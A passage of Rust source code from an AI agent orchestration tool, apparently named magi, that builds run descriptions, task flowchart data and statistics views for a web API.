6315            kind: "unknown",
6316            status: None,
6317            readable: false,
6318            provisional: false,
6319            description:
6320                "This run's record could not be read by this build (written by a different \
6321                          magi, or removed), so what kind of attempt it was is unknown."
6322                    .to_owned(),
6323            outcome: String::new(),
6324            created_at: None,
6325            pr: None,
6326            exit: RunExit::Unreadable,
6327            attempt: AttemptCost::Unknown,
6328            exit_label: RunExit::Unreadable.edge_label(None),
6329            later_pass: resumed_later,
6330            pass_n,
6331            passes_of_run,
6332            pass: None,
6333            branch: None,
6334            badge: None,
6335        };
6336    };
6337    let branch = review_branch_of(&s.instruction);
6338    let kind = if resumed {
6339        "resume"
6340    } else if branch.is_some() {
6341        "review"
6342    } else if task.solo || s.candidates.len() == 1 {
6343        "solo"
6344    } else {
6345        "competition"
6346    };
6347    let mut description = match kind {
6348        "resume" => {
6349            format!("Resumed run {short}: the same run carried on instead of competing again.")
6350        }
6351        "review" => format!(
6352            "Review the work already on branch `{}`: a review-only pass, no new implementation.",
6353            branch.unwrap_or_default()
6354        ),
6355        "solo" => "Solo run: one implementer straight into review.".to_owned(),
6356        _ => format!(
6357            "Competition: {} candidates judged blind.",
6358            s.candidates.len().max(1)
6359        ),
6360    };
6361    if !resumed && let Some((p, st)) = prior {
6362        description.push_str(&format!(
6363            " A retry: run {p} before it ended {}.",
6364            st.display_label()
6365        ));
6366    }
6367
6368    let status = s.status;
6369    let provisional = matches!(status, RunStatus::Stalled)
6370        || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
6371    let head = if resumed_later.is_some() {
6372        String::new()
6373    } else {
6374        match status {
6375            RunStatus::Merged => "Merged.".to_owned(),
6376            RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
6377            RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
6378            RunStatus::AlreadyInBase => {
6379                "Already in the base: this change landed under other commits, nothing was left to land."
6380                    .to_owned()
6381            }
6382            RunStatus::Stalled => {
6383                "Stalled: the judging panel never reached a quorum, so there is no verdict."
6384                    .to_owned()
6385            }
6386            RunStatus::Blocked if s.resource_block.is_some() => format!("Blocked: {}.", s.resource_block.as_ref().unwrap().description()),
6387            RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
6388            RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
6389            RunStatus::VerifiedNoop => {
6390                "Verified no-op: the candidates found nothing to change.".to_owned()
6391            }
6392            other if other.done() => format!("Ended {}.", other.display_label()),
6393            other => format!("In progress ({}).", other.display_label()),
6394        }
6395    };
6396    let view = pass.map(|p| PassView::of(p, settled));
6397    let recorded_end = view
6398        .as_ref()
6399        .filter(|v| matches!(v.end, "parked" | "unrecorded"));
6400    let cost_words = match view.as_ref().and_then(|v| v.cost) {
6401        Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
6402        Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
6403        None => "whether its attempt was handed back was not recorded",
6404    };
6405    let pass_note = if passes_of_run > 1 {
6406        format!(
6407            " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
6408        )
6409    } else {
6410        String::new()
6411    };
6412    let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
6413        // The run recorded this pass's end when it happened.
6414        let cause = match v.end {
6415            "parked" => format!("It was stopped on purpose: {}.", v.label),
6416            _ => format!("It {}.", v.label),
6417        };
6418        format!(
6419            " {cause} {}; pass #{k} resumed the same run.{pass_note}",
6420            capitalise(cost_words)
6421        )
6422    } else if let Some(k) = resumed_later {
6423        // A run is only picked up again while it is unfinished, so an earlier
6424        // pass of a repeated id stopped short; the record keeps only the run's
6425        // latest status, which is left to the pass that carried it on.
6426        // Only the latest state is recorded: `parked` is cleared on resume
6427        // and `quota` accumulates across passes, so neither says why *this*
6428        // pass stopped, and the refund is as unknown as `AttemptCost` says.
6429        let cause = if s.quota.is_empty() {
6430            "the cause was not recorded: a park, a crash or a restart all look the same from here"
6431        } else {
6432            "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
6433        };
6434        format!(
6435            " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
6436        )
6437    } else if s.parked {
6438        match recorded_end.and_then(|v| v.cause.as_ref()) {
6439            Some(cause) => format!(
6440                " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
6441                cause.label(),
6442                cost_words
6443            ),
6444            None => " Parked at a node boundary; the attempt was handed back and the run resumes."
6445                .to_owned(),
6446        }
6447    } else if status == RunStatus::Blocked && s.resource_block.is_some() {
6448        " The machine could not complete this node; no attempt was spent. Restore agent availability and resume the task.".to_owned()
6449    } else if !status.done()
6450        || matches!(
6451            status,
6452            RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
6453        )
6454    {
6455        String::new()
6456    } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
6457        || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
6458    {
6459        " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
6460            .to_owned()
6461    } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
6462        " It left a pull request open, so the task was held for a person rather than retried."
6463            .to_owned()
6464    } else if matches!(status, RunStatus::VerifiedNoop) {
6465        " Held for a person to check the claim.".to_owned()
6466    } else if last {
6467        " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
6468    } else {
6469        " It spent an attempt, and the task moved on to the next run.".to_owned()
6470    };
6471    let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
6472    let mut attempt = exit.cost();
6473    let mut exit_label = None;
6474    if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
6475        let spent = match v.cost {
6476            Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
6477            Some(crate::queue::PassCost::Spent) => ", attempt counted",
6478            None if resumed_later.is_some() => ", refund not recorded",
6479            None => ", attempt refunded",
6480        };
6481        attempt = match v.cost {
6482            Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
6483            Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
6484            None if resumed_later.is_some() => AttemptCost::Unknown,
6485            None => attempt,
6486        };
6487        if v.end == "parked" {
6488            exit = RunExit::Parked;
6489            exit_label = Some(match v.cause.as_ref() {
6490                Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
6491                    format!("parked for {}{spent}", c.label())
6492                }
6493                Some(c) => format!("parked ({}){spent}", c.label()),
6494                None => format!("parked{spent}"),
6495            });
6496        } else {
6497            exit_label = Some(format!("stopped without a recorded cause{spent}"));
6498        }
6499    }
6500    let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
6501    TaskRunView {
6502        activity: None,
6503        n,
6504        id: id.to_owned(),
6505        short,
6506        kind,
6507        status: Some(status.as_str()),
6508        readable: true,
6509        provisional,
6510        description,
6511        outcome: format!("{head}{why}"),
6512        created_at: Some(s.created_at),
6513        pr: s.pr.as_ref().map(|p| p.url.clone()),
6514        exit,
6515        attempt,
6516        exit_label,
6517        later_pass: resumed_later,
6518        pass_n,
6519        passes_of_run,
6520        pass: view,
6521        branch: branch.map(str::to_owned),
6522        badge: None,
6523    }
6524}
6525
6526fn capitalise(s: &str) -> String {
6527    let mut c = s.chars();
6528    c.next().map_or_else(String::new, |f| {
6529        f.to_uppercase().collect::<String>() + c.as_str()
6530    })
6531}
6532
6533/// One box of the task's flowchart.
6534#[derive(Debug, Serialize, PartialEq)]
6535struct FlowNode {
6536    /// Unique by position: a resumed run id appears once per pass.
6537    key: String,
6538    /// `chat`, `followup`, `start`, `run` or `end`.
6539    kind: &'static str,
6540    label: String,
6541    /// Run status (or the task's, for `end`); `None` when it is not a fact
6542    /// about this box (unreadable, or a pass the run later resumed from).
6543    status: Option<&'static str>,
6544    /// Whose status `status` is, so the client picks the right colour table:
6545    /// `task` (the `followup` parent and `end`) or `run`.
6546    status_of: &'static str,
6547    /// Why there is no status: `unreadable`, `interrupted` or `no verdict`.
6548    note: Option<&'static str>,
6549    run_kind: Option<&'static str>,
6550    detail: Option<String>,
6551    /// A readable run with a real verdict; a stall never is.
6552    decided: bool,
6553    readable: bool,
6554    href: Option<String>,
6555    /// Overrides `status` as the badge word (`stale` / `superseded`).
6556    badge: Option<String>,
6557    /// Start of this entry, never the run's latest update or pass settlement.
6558    started_at: Option<Timestamp>,
6559    /// Context links (chat / follow-up) do not represent execution entries.
6560    time_expected: bool,
6561}
6562
6563#[derive(Debug, Serialize, PartialEq)]
6564struct FlowEdge {
6565    from: String,
6566    to: String,
6567    label: String,
6568    attempt: AttemptCost,
6569}
6570
6571#[derive(Debug, Serialize, PartialEq)]
6572struct FlowView {
6573    nodes: Vec<FlowNode>,
6574    edges: Vec<FlowEdge>,
6575    /// Attempts the task has counted since it was last released.
6576    attempts: usize,
6577    max_attempts: usize,
6578    /// Entries in the run list (passes), and how many distinct runs they are.
6579    /// Neither is the number of attempts consumed.
6580    passes: usize,
6581    runs: usize,
6582}
6583
6584/// Turn a task and its described runs into the flowchart's boxes and arrows.
6585/// Pure: the page only draws what this returns.
6586///
6587/// A follow-up opens with its parent (or the merged run) unless the task's
6588/// *source* is itself a chat, in which case the chat stays first and the
6589/// follow-up node comes second. An inherited `Task::origin_chat` alone never
6590/// adds a chat node: `crate::followup` files with `node: "followup"`, so the
6591/// two normally do not coincide and the nearer origin wins.
6592fn task_flow(
6593    task: &Task,
6594    history: &[TaskRunView],
6595    max_attempts: usize,
6596    origin: Option<&FollowUpOrigin>,
6597) -> FlowView {
6598    let max_attempts = task.effective_attempt_limit(max_attempts);
6599    let node = |key: &str, kind, label: String| FlowNode {
6600        key: key.to_owned(),
6601        kind,
6602        label,
6603        status: None,
6604        status_of: "run",
6605        note: None,
6606        run_kind: None,
6607        detail: None,
6608        decided: false,
6609        readable: true,
6610        href: None,
6611        badge: None,
6612        started_at: None,
6613        time_expected: matches!(kind, "start" | "run" | "end"),
6614    };
6615    let mut nodes = Vec::new();
6616    let mut edges: Vec<FlowEdge> = Vec::new();
6617    // A task queued from a chat opens the flow with that conversation.
6618    if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
6619        let mut n = node(
6620            "chat",
6621            "chat",
6622            format!("Chat {}", crate::queue::short(&link.id)),
6623        );
6624        n.href = Some(link.href);
6625        nodes.push(n);
6626        edges.push(FlowEdge {
6627            from: "chat".to_owned(),
6628            to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
6629            label: "queued from chat".to_owned(),
6630            attempt: AttemptCost::None,
6631        });
6632    }
6633    if let Some(o) = origin {
6634        let mut n = match &o.parent {
6635            Some(p) => {
6636                let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
6637                n.status = Some(p.status);
6638                n.status_of = "task";
6639                n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
6640                n.href = Some(p.href.clone());
6641                n
6642            }
6643            None => {
6644                let mut n = node(
6645                    "origin",
6646                    "followup",
6647                    format!("Follow-up of run {}", o.run.short),
6648                );
6649                n.detail = Some("merged run".to_owned());
6650                n.status = o.run.status;
6651                n.href = o.run.href.clone();
6652                if o.run.href.is_none() {
6653                    n.readable = false;
6654                    n.note = Some("unreadable");
6655                }
6656                n
6657            }
6658        };
6659        n.decided = true;
6660        let from = n.key.clone();
6661        nodes.push(n);
6662        let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
6663        let more = o.findings.len().saturating_sub(shown.len());
6664        let label = match (shown.is_empty(), more) {
6665            (true, _) => "open findings".to_owned(),
6666            (false, 0) => format!("open findings {}", shown.join(", ")),
6667            (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
6668        };
6669        edges.push(FlowEdge {
6670            from,
6671            to: "start".to_owned(),
6672            label,
6673            attempt: AttemptCost::None,
6674        });
6675    }
6676    let mut start = node("start", "start", "Task queued".to_owned());
6677    start.started_at = Some(task.created_at);
6678    nodes.push(start);
6679    let mut prev = "start".to_owned();
6680    let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
6681    for (i, h) in history.iter().enumerate() {
6682        let key = format!("run-{}", h.n);
6683        let mut n = node(&key, "run", format!("Run {}", h.short));
6684        // Creation marks only the first pass of legacy runs. A resumed pass
6685        // without a record must not inherit the original run's start time.
6686        n.started_at = h
6687            .readable
6688            .then(|| {
6689                h.pass.as_ref().map(|p| p.started_at).or(if h.pass_n == 1 {
6690                    h.created_at
6691                } else {
6692                    None
6693                })
6694            })
6695            .flatten();
6696        n.run_kind = Some(h.kind);
6697        n.readable = h.readable;
6698        n.href = Some(format!("#/runs/{}", h.id));
6699        n.decided = h.readable && !h.provisional;
6700        n.detail = h
6701            .branch
6702            .as_ref()
6703            .map(|b| format!("review-only run of branch {b}"));
6704        match h.exit {
6705            RunExit::Unreadable => n.note = Some("unreadable"),
6706            RunExit::Interrupted => n.note = Some("interrupted"),
6707            // An earlier pass the run recorded as parked: the status shown
6708            // would be the run's current one, not this pass's.
6709            RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
6710            _ => {
6711                n.status = h.status;
6712                n.badge = h.badge.clone();
6713                if h.provisional {
6714                    n.note = Some("no verdict");
6715                }
6716            }
6717        }
6718        let into = match h.kind {
6719            "review" => Some(format!(
6720                "review-only run of branch {}",
6721                h.branch.as_deref().unwrap_or("?")
6722            )),
6723            "resume" => Some("resume the same run".to_owned()),
6724            _ if i > 0 => Some("retry".to_owned()),
6725            _ => None,
6726        };
6727        let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
6728        let label = match (prev_exit, into) {
6729            (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
6730            (Some((_, l, _)), None) => l,
6731            (None, Some(i)) => i,
6732            (None, None) => "claimed".to_owned(),
6733        };
6734        edges.push(FlowEdge {
6735            from: prev.clone(),
6736            to: key.clone(),
6737            label,
6738            attempt,
6739        });
6740        prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
6741        prev = key;
6742        nodes.push(n);
6743    }
6744    let mut end = node("end", "end", task.status.as_str().to_owned());
6745    end.status = Some(task.status.as_str());
6746    end.status_of = "task";
6747    // Other task states do not persist their transition start. In particular,
6748    // blocked_at can change while the task remains blocked.
6749    if task.status == TaskStatus::Held {
6750        end.started_at = task.held_at;
6751    }
6752    nodes.push(end);
6753    let (label, attempt) = match prev_exit {
6754        None => (
6755            format!("no run yet \u{2192} {}", task.status.as_str()),
6756            AttemptCost::None,
6757        ),
6758        Some((e, l, cost)) if e.explains(task.status) => {
6759            (format!("{l} \u{2192} {}", task.status.as_str()), cost)
6760        }
6761        Some((_, _, cost)) => (
6762            format!("closed by hand: task is {}", task.status.as_str()),
6763            cost,
6764        ),
6765    };
6766    edges.push(FlowEdge {
6767        from: prev,
6768        to: "end".to_owned(),
6769        label,
6770        attempt,
6771    });
6772    FlowView {
6773        nodes,
6774        edges,
6775        attempts: task.attempts,
6776        max_attempts,
6777        passes: history.len(),
6778        runs: distinct_runs(&task.runs),
6779    }
6780}
6781
6782/// How many different run ids a task's run list names.
6783fn distinct_runs(runs: &[String]) -> usize {
6784    let mut seen: Vec<&str> = Vec::new();
6785    for r in runs {
6786        if !seen.contains(&r.as_str()) {
6787            seen.push(r);
6788        }
6789    }
6790    seen.len()
6791}
6792
6793/// Describe recorded task passes, retaining unrecorded legacy list entries.
6794fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
6795    let mut slots = Vec::new();
6796    let mut seen = Vec::new();
6797    for run_id in &task.runs {
6798        if seen.contains(&run_id) {
6799            continue;
6800        }
6801        seen.push(run_id);
6802        let state = read(run_id);
6803        let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
6804            s.passes
6805                .iter()
6806                .filter(|p| {
6807                    p.task_entry
6808                        || task
6809                            .passes
6810                            .iter()
6811                            .any(|t| t.run == *run_id && t.pass_index == p.index)
6812                })
6813                .cloned()
6814                .collect()
6815        });
6816        let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
6817        let total = legacy_count.max(mine.len());
6818        let offset = total - mine.len();
6819        for k in 0..total {
6820            // Legacy repeated entries retain their original positions. When
6821            // ids are unique, recorded pass times recover the resume order.
6822            let position = task
6823                .runs
6824                .iter()
6825                .enumerate()
6826                .filter(|(_, r)| *r == run_id)
6827                .nth(k.min(legacy_count - 1))
6828                .unwrap()
6829                .0;
6830            slots.push((
6831                run_id,
6832                state.clone(),
6833                k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
6834                position,
6835            ));
6836        }
6837    }
6838    if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
6839        slots.sort_by_key(|(_, state, pass, _)| {
6840            pass.as_ref()
6841                .map(|p| p.started_at)
6842                .or_else(|| state.as_ref().map(|s| s.created_at))
6843                .map_or((true, task.created_at), |at| (false, at))
6844        });
6845    } else {
6846        slots.sort_by_key(|(_, _, _, position)| *position);
6847    }
6848    let mut history = Vec::with_capacity(slots.len());
6849    let mut seen: Vec<&str> = Vec::new();
6850    let mut prior: Option<(&str, RunStatus)> = None;
6851    for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
6852        let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
6853        let resumed = k > 0;
6854        seen.push(run_id);
6855        let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
6856        let pass = pass.as_ref();
6857        let settled = pass.and_then(|p| {
6858            task.passes
6859                .iter()
6860                .find(|t| t.run == **run_id && t.pass_index == p.index)
6861        });
6862        history.push(task_run_view(
6863            run_id,
6864            state.as_ref(),
6865            RunSlot {
6866                n: i + 1,
6867                resumed,
6868                resumed_later: slots[i + 1..]
6869                    .iter()
6870                    .position(|(id, _, _, _)| id == run_id)
6871                    .map(|off| i + off + 2),
6872                prior,
6873                last: i + 1 == slots.len(),
6874                pass,
6875                settled,
6876                pass_n: k + 1,
6877                passes_of_run: total,
6878            },
6879            task,
6880        ));
6881        if let Some(s) = &state {
6882            prior = Some((run::short_of(run_id), s.status));
6883        }
6884    }
6885    history
6886}
6887
6888/// Fill [`TaskRunView::badge`] for attempts that are no longer being driven.
6889/// An earlier pass of a resumed run keeps no badge (it has no status box).
6890fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
6891    if history.iter().all(|h| h.exit == RunExit::Interrupted) {
6892        return;
6893    }
6894    let (_, claimed, _) = run_row_inputs(ui);
6895    let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
6896    for h in history
6897        .iter_mut()
6898        .filter(|h| h.readable && h.exit != RunExit::Interrupted)
6899    {
6900        let Ok(state) = read_run(&ui.runs, &h.id) else {
6901            continue;
6902        };
6903        if state.status.done() {
6904            continue;
6905        }
6906        let live = state.liveness_with(
6907            claimed.contains(&h.id),
6908            |p| probe.borrow_mut().status(p),
6909            |p| probe.borrow_mut().started_at(p),
6910        );
6911        let waiting = !ui.questions.open_for(&h.id).is_empty();
6912        h.activity = Some(crate::run_progress::activity(&state, live, waiting));
6913        let display = run_display_status(&state, waiting, live);
6914        let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
6915        if matches!(word.as_str(), "stale" | "superseded")
6916            || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
6917        {
6918            h.badge = Some(word);
6919        }
6920    }
6921}
6922
6923async fn task_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TaskView>> {
6924    blocking(move || {
6925        let id = resolve_task(&ui.queue, &id)?;
6926        Ok(Json(TaskView::from(ui.queue.get(&id)?)))
6927    })
6928    .await
6929}
6930
6931async fn task_detail(
6932    State(ui): State<Arc<Ui>>,
6933    Path(id): Path<String>,
6934) -> ApiResult<Json<TaskDetailView>> {
6935    blocking(move || {
6936        let id = resolve_task(&ui.queue, &id)?;
6937        let task = ui
6938            .queue
6939            .get(&id)
6940            .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
6941        let inv = if task.status == TaskStatus::Blocked {
6942            Some(crate::blockers::Inventory::load_for(
6943                &ui.queue,
6944                &ui.questions,
6945                &task,
6946            ))
6947        } else {
6948            None
6949        };
6950        let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
6951        mark_badges(&ui, &task, &mut history);
6952        let runs_unreadable = history.iter().filter(|h| !h.readable).count();
6953        let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
6954        let origin = task.followup.as_ref().map(|fu| {
6955            followup_origin(
6956                fu,
6957                |tid| ui.queue.get(tid).ok(),
6958                |rid| read_run(&ui.runs, rid).ok(),
6959            )
6960        });
6961        let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
6962        let task_view = match inv.as_ref() {
6963            Some(inv) => TaskView::with_inventory(task, inv),
6964            None => TaskView::from(task),
6965        }
6966        .with_recovery_decisions(&ui.questions);
6967        Ok(Json(TaskDetailView {
6968            max_attempts,
6969            flow,
6970            followup_origin: origin,
6971            passes_total: history.len(),
6972            runs_distinct: distinct_runs(&task_view.task.runs),
6973            history,
6974            runs_unreadable,
6975            attempts_note: ATTEMPTS_NOTE,
6976            task: task_view,
6977        }))
6978    })
6979    .await
6980}
6981
6982/// A rate together with its denominator, so the client can tell "computed as
6983/// 0%" apart from "no data to compute it from" — both would otherwise
6984/// serialize as `0.0`. `None` means the denominator was zero.
6985#[derive(Debug, Serialize)]
6986struct RateView {
6987    pct: f64,
6988    denominator: usize,
6989}
6990
6991impl RateView {
6992    fn of(numerator: usize, denominator: usize) -> Option<Self> {
6993        (denominator > 0).then(|| Self {
6994            pct: 100.0 * numerator as f64 / denominator as f64,
6995            denominator,
6996        })
6997    }
6998}
6999
7000/// [`crate::stats::Totals`] for the wire: the raw counters plus the derived
7001/// rates, each paired with its own denominator via [`RateView`] rather than
7002/// exposing `Stats`' own percentage methods directly — see this module's
7003/// doc for why `Stats` itself is never serialized.
7004#[derive(Debug, Serialize)]
7005struct StatsTotalsView {
7006    runs: usize,
7007    merged: usize,
7008    ready: usize,
7009    blocked: usize,
7010    failed: usize,
7011    stalled: usize,
7012    verified_noop: usize,
7013    superseded: usize,
7014    in_progress: usize,
7015    completion_rate: Option<RateView>,
7016    tallied: usize,
7017    split: usize,
7018    split_rate: Option<RateView>,
7019    deliberated: usize,
7020    minds_changed: usize,
7021    converged: usize,
7022    review_rounds: usize,
7023}
7024
7025impl From<&stats::Totals> for StatsTotalsView {
7026    fn from(t: &stats::Totals) -> Self {
7027        Self {
7028            runs: t.runs,
7029            merged: t.merged,
7030            ready: t.ready,
7031            blocked: t.blocked,
7032            failed: t.failed,
7033            stalled: t.stalled,
7034            verified_noop: t.verified_noop,
7035            superseded: t.superseded,
7036            in_progress: t.in_progress,
7037            completion_rate: RateView::of(t.merged + t.ready, t.runs),
7038            tallied: t.tallied,
7039            split: t.split,
7040            split_rate: RateView::of(t.split, t.tallied),
7041            deliberated: t.deliberated,
7042            minds_changed: t.minds_changed,
7043            converged: t.converged,
7044            review_rounds: t.review_rounds,
7045        }
7046    }
7047}
7048
7049/// [`crate::stats::AgentStats`] for the wire.
7050#[derive(Debug, Serialize)]
7051struct AgentStatsView {
7052    agent: String,
7053    entered: usize,
7054    wins: usize,
7055    empty: usize,
7056    win_rate: Option<RateView>,
7057    competitive_entered: usize,
7058    competitive_wins: usize,
7059    competitive_win_rate: Option<RateView>,
7060    solo_entered: usize,
7061    solo_adopted: usize,
7062    solo_adoption_rate: Option<RateView>,
7063}
7064
7065impl From<&stats::AgentStats> for AgentStatsView {
7066    fn from(a: &stats::AgentStats) -> Self {
7067        Self {
7068            agent: a.agent.clone(),
7069            entered: a.entered,
7070            wins: a.wins,
7071            empty: a.empty,
7072            win_rate: RateView::of(a.wins, a.entered),
7073            competitive_entered: a.competitive_entered,
7074            competitive_wins: a.competitive_wins,
7075            competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
7076            solo_entered: a.solo_entered,
7077            solo_adopted: a.solo_adopted,
7078            solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
7079        }
7080    }
7081}
7082
7083/// [`crate::stats::ReviewerStats`] for the wire. `adopted_per_round` is a
7084/// ratio, not a percentage, so it carries no [`RateView`] — just the raw
7085/// value, `None` when `rounds` is zero.
7086#[derive(Debug, Serialize)]
7087struct ReviewerStatsView {
7088    agent: String,
7089    rounds: usize,
7090    seated: usize,
7091    submitted: usize,
7092    adopted: usize,
7093    unique: usize,
7094    timeouts: usize,
7095    adopted_per_round: Option<f64>,
7096    precision: Option<RateView>,
7097    unique_rate: Option<RateView>,
7098    timeout_rate: Option<RateView>,
7099}
7100
7101impl From<&stats::ReviewerStats> for ReviewerStatsView {
7102    fn from(r: &stats::ReviewerStats) -> Self {
7103        Self {
7104            agent: r.agent.clone(),
7105            rounds: r.rounds,
7106            seated: r.seated,
7107            submitted: r.submitted,
7108            adopted: r.adopted,
7109            unique: r.unique,
7110            timeouts: r.timeouts,
7111            adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
7112            precision: RateView::of(r.adopted, r.submitted),
7113            unique_rate: RateView::of(r.unique, r.submitted),
7114            timeout_rate: RateView::of(r.timeouts, r.seated),
7115        }
7116    }
7117}
7118
7119/// [`crate::stats::AdvisorStats`] for the wire.
7120///
7121/// `reflection_rate` is approximate by construction — see
7122/// [`crate::stats::AdvisorStats`]'s own doc — and the UI note that carries
7123/// that caveat is static text in `index.html`, not a field here.
7124#[derive(Debug, Serialize)]
7125struct AdvisorStatsView {
7126    agent: String,
7127    seated: usize,
7128    proposed: usize,
7129    absent: usize,
7130    faint: usize,
7131    strong: usize,
7132    reflection_rate: Option<RateView>,
7133}
7134
7135impl From<&stats::AdvisorStats> for AdvisorStatsView {
7136    fn from(a: &stats::AdvisorStats) -> Self {
7137        Self {
7138            agent: a.agent.clone(),
7139            seated: a.seated,
7140            proposed: a.proposed,
7141            absent: a.absent,
7142            faint: a.faint,
7143            strong: a.strong,
7144            reflection_rate: RateView::of(a.strong, a.proposed),
7145        }
7146    }
7147}
7148
7149/// [`crate::stats::E2eStats`] for the wire.
7150#[derive(Debug, Serialize)]
7151struct E2eStatsView {
7152    rounds: usize,
7153    failures: usize,
7154    sole_detections: usize,
7155    deferred: usize,
7156    sole_rate: Option<RateView>,
7157}
7158
7159impl From<&stats::E2eStats> for E2eStatsView {
7160    fn from(e: &stats::E2eStats) -> Self {
7161        Self {
7162            rounds: e.rounds,
7163            failures: e.failures,
7164            sole_detections: e.sole_detections,
7165            deferred: e.deferred,
7166            sole_rate: RateView::of(e.sole_detections, e.failures),
7167        }
7168    }
7169}
7170
7171/// [`crate::stats::ReleaseBumpStats`] for the wire.
7172///
7173/// `clean` is sent as a raw count, computed the same way
7174/// [`stats::ReleaseBumpStats::clean`] computes it (`recorded -
7175/// needs_attention`) — never derived client-side from `automerge_enabled`,
7176/// which would misclassify a `merged_directly` bump (automerge rejected, but
7177/// magi merged it directly, so no human involvement) as needing attention.
7178#[derive(Debug, Serialize)]
7179struct ReleaseBumpStatsView {
7180    merged: usize,
7181    recorded: usize,
7182    pr_opened: usize,
7183    automerge_enabled: usize,
7184    merged_directly: usize,
7185    needs_attention: usize,
7186    clean: usize,
7187    coverage_rate: Option<RateView>,
7188    automerge_rate: Option<RateView>,
7189    attention_rate: Option<RateView>,
7190}
7191
7192impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
7193    fn from(b: &stats::ReleaseBumpStats) -> Self {
7194        Self {
7195            merged: b.merged,
7196            recorded: b.recorded,
7197            pr_opened: b.pr_opened,
7198            automerge_enabled: b.automerge_enabled,
7199            merged_directly: b.merged_directly,
7200            needs_attention: b.needs_attention,
7201            clean: b.clean(),
7202            coverage_rate: RateView::of(b.recorded, b.merged),
7203            automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
7204            attention_rate: RateView::of(b.needs_attention, b.recorded),
7205        }
7206    }
7207}
7208
7209/// [`crate::queue::TaskCounts`] for the wire.
7210#[derive(Debug, Serialize)]
7211struct TaskCountsView {
7212    queued: usize,
7213    running: usize,
7214    done: usize,
7215    failed: usize,
7216    held: usize,
7217    blocked: usize,
7218    parked: usize,
7219}
7220
7221impl From<crate::queue::TaskCounts> for TaskCountsView {
7222    fn from(c: crate::queue::TaskCounts) -> Self {
7223        Self {
7224            queued: c.queued,
7225            running: c.running,
7226            done: c.done,
7227            failed: c.failed,
7228            held: c.held,
7229            blocked: c.blocked,
7230            parked: c.parked,
7231        }
7232    }
7233}
7234
7235/// [`crate::stats::RepoStats`] for the wire, one row per repository with
7236/// runs recorded — the summary the UI's repository selector is built from.
7237/// Carries no nested `Stats`: picking a repo means re-fetching
7238/// `GET /api/stats?repo=<repo>`, which reuses this same route's own
7239/// aggregation rather than duplicating it.
7240#[derive(Debug, Serialize)]
7241struct RepoSummaryView {
7242    /// `RunState.repo` exactly as recorded — the value `?repo=` matches
7243    /// against, full path and all (see [`stats_get`]'s own doc for why).
7244    repo: String,
7245    /// Display name only; never used for matching.
7246    name: String,
7247    runs: usize,
7248    completion_rate: Option<RateView>,
7249}
7250
7251impl From<&stats::RepoStats> for RepoSummaryView {
7252    fn from(r: &stats::RepoStats) -> Self {
7253        let t = &r.stats.totals;
7254        Self {
7255            repo: r.repo.to_string_lossy().into_owned(),
7256            name: r.name.clone(),
7257            runs: t.runs,
7258            completion_rate: RateView::of(t.merged + t.ready, t.runs),
7259        }
7260    }
7261}
7262
7263/// `GET /api/stats` - the whole answer. `Stats` itself carries no
7264/// `Serialize`, deliberately: its fields (and the CLI text `report::stats`
7265/// renders from them) are free to grow without that becoming a wire-contract
